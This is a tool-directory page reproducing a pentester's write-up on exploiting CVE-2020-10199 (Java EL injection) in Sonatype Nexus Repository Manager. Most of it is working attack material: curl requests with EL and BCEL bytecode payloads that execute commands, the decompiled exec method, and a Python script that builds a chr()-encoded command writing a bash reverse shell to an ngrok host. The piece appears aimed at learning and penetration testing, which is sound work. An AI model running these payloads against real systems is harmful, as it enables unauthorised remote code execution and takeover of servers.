Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-10199 | Kitploit
Tools/GitHubGitHub/finn79426/cve-2020-10199
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubfinn79426/cve-2020-10199

CVE-2020-10199

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-10199

Previously, during a penetration test, I encountered a target environment that had Nexus Repository Manager deployed. After stepping on some pitfalls, I finally managed to get a shell.

I'll make a brief record here so it's easier to review later if needed.


Target version: Sonatype Nexus Repository Manager OSS 3.20.1-01


Tested Code Execution with a PoC to confirm the vulnerability exists. (Note: at this time we were in a logged-in session, because we happened to discover a default credential issue in the target environment)

poc_test

root@kitploit:~
curl -i -s -k -X $'POST' \
    -H $'Host: vulnerable.host:8081' -H $'Content-Length: 211' -H $'Content-Type: application/json' \
    -b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
    --data-binary $'{\x0d\x0a    \"name\": \"internal\",\x0d\x0a    \"online\": true,\x0d\x0a    \"storage\": {\x0d\x0a        \"blobStoreName\": \"default\",\x0d\x0a        \"strictContentTypeValidation\": true\x0d\x0a    },\x0d\x0a    \"group\": {\x0d\x0a    \"memberNames\": [\"$\\\\A{7*7}\"]\x0d\x0a}\x0d\x0a}' \
    $'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'

I tried the RCE PoC circulating online, but it didn't succeed.

You can observe that the output echoes the payload back verbatim.

https://github.com/jas502n/CVE-2020-10199

rce_attemp


Debugged step by step to see where the problem was.

I observed that "$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6]}" responded, but appending invoke() caused it to fail.

rce_debug


Continued debugging and found that getRuntime() seemed inaccessible.

getRuntime_isAccessible


Also, setAccessiable(true) didn't seem to succeed either. I suspect there are some security settings in the JVM blocking reflection operations.

getRuntime_setAccessible


But at least we know the Java EL Code Execution vulnerability definitely exists. All that remains is finding the right path to successfully achieve RCE and also return the output.

https://blog.orange.tw/posts/2018-08-how-i-chained-4-bugs-features-into-rce-on-amazon/

https://stack.chaitin.com/techblog/detail/30

After checking several research articles, I finally found a usable BCEL RCE Payload.

rce_suc

root@kitploit:~
curl -i -s -k -X $'POST' \
    -H $'Host: vulnerable.host:8081' -H $'Content-Length: 1943' -H $'Content-Type: application/json' \
    -b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
    --data-binary $'{\x0d\x0a    \"name\": \"internal\",\x0d\x0a    \"online\": true,\x0d\x0a    \"storage\": {\x0d\x0a        \"blobStoreName\": \"default\",\x0d\x0a        \"strictContentTypeValidation\": true\x0d\x0a    },\x0d\x0a    \"group\": {\x0d\x0a    \"memberNames\": [\"$\\\\A{\'\'.class.forName(\'com.sun.org.apache.bcel.internal.util.ClassLoader\').newInstance().loadClass(\'$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A\').newInstance().exec(\'id\')}\"]\x0d\x0a}\x0d\x0a}' \
    $'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'

Post Body:

root@kitploit:~
{
    "name": "internal",
    "online": true,
    "storage": {
        "blobStoreName": "default",
        "strictContentTypeValidation": true
    },
    "group": {
    "memberNames": ["$\\A{''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('id')}"]}
}

The Bytecode part is:

root@kitploit:~
public String exec(String cmd) throws IOException {
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
    }
    String res = stringBuilder.toString();
    return res;
}

Afterwards, I discovered that /bin/python exists on the target host.

To make it easier to establish a reverse shell, I wrote the following Python script.

The purpose is to easily bypass the restriction that ".exec('')" cannot contain single quotes, double quotes, Unix pipelines, or Unix redirections. (They cause invalid JSON.)

  • Encode the entire unix command using chr().
  • Then use /bin/python to write the unix command into a file, such as /tmp/shell.sh.
  • Then run chmod +x /tmp/shell.sh to execute the shell script.
root@kitploit:~
def to_chr_expr(s: str) -> str:
    """把字串轉成 chr(XX)+chr(YY)+... 的形式"""
    return '+'.join(f'chr({ord(c)})' for c in s)

def generate_write_payload(file_path: str, content: str) -> str:
    """
    產生一段 python payload,完全用 chr() 拼字串,不用引號,
    寫入指定檔案,內容是 content,結尾自動加換行
    """
    path_expr = to_chr_expr(file_path)
    content_expr = to_chr_expr(content + '\n')  # 自動換行
    mode_expr = 'chr(119)'  # 'w' 寫入模式

    payload = (
        f"python -c f=open({path_expr},mode={mode_expr});"
        f"f.write({content_expr});f.close()"
    )
    return payload

if __name__ == "__main__":
    path = "/tmp/shell.sh"
    long_content = "bash -i >& /dev/tcp/0.tcp.jp.ngrok.io/17590 0>&1"
    
    print(f'寫入路徑: {path}')
    print(f'寫入內容: {long_content}')
    
    payload = generate_write_payload(path, long_content)
    
    print(f'生成 payload: \n {payload}')

arb_write


Finally, I put the generated payload inside the single quotes of .exec('').

In the end, I successfully obtained an interactable reverse shell.

got_shell

Download Tool